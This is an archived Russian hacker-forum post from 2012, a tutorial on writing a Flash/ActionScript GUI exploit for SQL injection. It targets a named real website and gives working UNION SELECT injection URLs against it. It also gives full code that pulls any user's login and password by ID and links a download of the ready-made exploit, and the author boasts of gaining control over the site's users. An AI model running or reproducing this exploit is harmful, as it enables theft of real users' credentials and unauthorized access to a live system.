Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 

Пишем собственный эксплойт, с блэкджеком и GUI (Actionsсriрt)

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [Компилируемые языки] >> Пишем собственный эксплойт, с блэкджеком и GUI (Actionsсriрt)
Имя
Сообщение << Старые топики   Новые топики >>
Пишем собственный эксплойт, с блэкджеком и GUI (Actionsсriрt) - 2012-05-07 12:21:15.780000   
GothX

Сообщений: 263
Оценки: 20
Присоединился: 2011-06-22 13:27:08.173333
I. Введение в курс дела.
Как часто тебе приходилось пользоваться чужими эксплойтами? Уверен, что не один и даже не два раза. А сколько раз ты хотел написать свой собственный эксплойт? Уверен, что гораздо больше раз :)
Обнаружить уязвимость - это одно дело, с этим справится любой более-менее подкованный "скрипт-кидди", заюзать чужой софт для ее эксплуатации - еще проще. Нам же с тобой, как истинным труЪ-хакерам, необходимо потешить собственное ЧСВ, поэтому мы будем писать свои эксплойты, на радость себе и своим близким.
Ну, раз уж мы такие труЪ, что сами раскрутить уязвимость мы можем. Поэтому встает закономерный вопрос: какой язык программирования выбрать для написания эксплойта? Современный мир ЯП предоставляет нам огромный выбор: бородатые олдскулы будут настаивать на ассемблере, продвинутые айтишники на С++, веб-разработчики - на PHP или Perl. Но держу пари, что довольно редко (а то и никогда) ты сталкиваешься с эксплойтами, написанными на Actionsсriрt (читай - Flash-эксплойт). Сейчас мы будем исправлять эту ситуацию, ибо славный Actionsсriрt недооценивается многими людьми.
Писать будем на Actionsсriрt 2.0, чтобы еще сильнее усилить недоумение и впечатление :) Эксплуатировать будем, естественно, SQL-инъекцию, ибо более каноничной уязвимости и найти невозможно.

II. Техническая сторона вопроса.
Как известно, при SQL-инъекции сервер любезно предоставляет нам всю необходимую нам информацию прямо на странице уязвимого сайта. Визуально это очень просто - увидел и применил. Однако при программной реализации эксплойта всё немного сложнее, ведь наша софтина должна определить, откуда именно нужно вытаскивать ту самую информацию. Немного пораскинув мозгами, понимаем, что выводимая информация так или иначе будет находиться между какими-то HТМL-тегами. Поэтому при написании эксплойта для конкретного сайта нам нужно точно знать, между какими тегами будет находиться эта самая информация.
В качестве примера будем рассматривать сайт http://my39.ru
Не будем долго ходить вокруг да около, просто смотрим, как именно на нем выводятся логин:пароль пользователей:

http://www.my39.ru/info.php?r=1&rr=2&idnn=226+union+select+1,2,3,concat(log,char(58),pass),5,6,7,8+from+g_uzwer+where+id=1–

Глянув в исходный код страницы, видим, что инфа выводится между тегами &lt;a href=mailto:5&gt; и &lt;/a&gt;
Вроде всё просто. Но вдруг эти теги встречаются на странице неоднократно (что обычно и происходит)? Включаем смекалку и формируем следующий запрос:

http://www.my39.ru/info.php?r=1&rr=2&idnn=226+union+select+1,2,3,concat(char(60,102,117,62),log,char(58),pass,char(60,47,102,117,62)),5,6,7,8+from+g_uzwer+where+id=1–

Теперь мы точно знаем, что инфа будет выводится между тегами &lt;fu&gt; и &lt;/fu&gt;, которые вряд ли встретятся еще где-то на странице, тем самым мы добиваемся однозначности работы программы.
Ну, с этим, вроде как, разобрались, теперь приступим непосредственно к написанию эксплойта.

III. Нехитрый кодинг.
Я даже представлять не хочу, как эксплойт под эту уязвимость будет выглядеть на других языках программирования, на Actionsсriрt всё предельно просто и ясно.
Запускаем наш любимый Adobe/Macromedia Flash. Всё действо будет проходить на одном-единственном кадре, поэтому не запутаемся.
Создаем три текстовых поля: одно для ввода информации (Input), два других - для вывода (Dynamic). В первое будет вводится ID пользователя (назовем это поле "userid"), второе будет оповещать нас о процессе работы (назовем его "warn"), третье будет служить для вывода конечного результата (назовем его "res").
Открываем вкладку "Действия" на этом кадре и пишем следующий код:

System.useCodepage = true; //Чтобы не было никаких проблем с кодировками function getTextNearStrings(txt:String, startStr:String, endStr:String):String { var startIndex:Number = txt.indexOf(startStr); startIndex = (startIndex == -1) ? 0 : (startIndex+startStr.length); var endIndex:Number = txt.indexOf(endStr); endIndex = (endIndex == -1) ? (txt.length-1) : endIndex; return txt.slice(startIndex, endIndex); } //непосредственно функция, которая будет искать инфу между нужными нам HТМL-тегами button1.onRelease = function() { //функция нажатия кнопки поиска инфы res = "Путеводитель по пользователям http://www.my39.ru by GothX"; //ну, для удобства warn = "Работаем..."; var ldr:LoadVars = new LoadVars(); ldr.оnlоаd = function(success:Boolean) { if (success == true) { //Если соединение прошло успешно var result:String = unescape(ldr.toString()); var title:String = getTextNearStrings(result, '&lt;fu&gt;', '&lt;/fu&gt;'); //получаем инфу между &lt;fu&gt;&lt;/fu&gt; nameandpass = new Array(); //Создаем массив, в который будут входить логин и пароль nameandpass = title.split(":"); //Разделяем результат на логин и пароль (разделитель ведь у нас ":") res = res+newline+newline+"Логин: "+nameandpass[0]+newline+"Пароль: "+nameandpass[1]; //Выводим конечный результат в поле "res" warn = "Готово!"; } else { warn = "Не могу найти хост. Проверьте подключение к интернету!"; //В случае, если подключение не прошло } }; ldr.load("http://www.my39.ru/info.php?r=1&rr=2&idnn=226+union+select+1,2,3,concat(char(60,102,117,62),log,char(58),pass,char(60,47,102,117,62)),5,6,7,8+from+g_uzwer+where+id="+userid+"--", 'GET'); //собственно, сама SQL-инъекция }; Всё! Всего пара десятков строк кода (и это включая прибамбасы, которые, в принципе, можно и исключить) - и у нас в руках полный контроль над юзерами сайта! Кто там говорил, что Actionsсriрt - это недоязык? :)

IV. Заключение.
Вот что получилось у меня:

А здесь вы можете скачать готовый эксплойт вместе с исходником:
http://gothx.narod.ru/Saves/my39.rar
Post #: 1
RE: Пишем собственный эксплойт, с блэкджеком и GUI (Actionsсriрt) - 2012-05-07 12:58:39.480000   
GothX

Сообщений: 263
Оценки: 20
Присоединился: 2011-06-22 13:27:08.173333
P.S. При вводе несуществующего ID выводится HTML-код странички, это можно решить конструкцией вроде такой:
if (nameandpass.length &gt; 50) { warn = "Нет пользователя с таким ID"; } Так, к примеру, нет пользователей с ID между 1 и 8.
Post #: 2
Страниц:  [1]
Все форумы >> [Компилируемые языки] >> Пишем собственный эксплойт, с блэкджеком и GUI (Actionsсriрt)







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.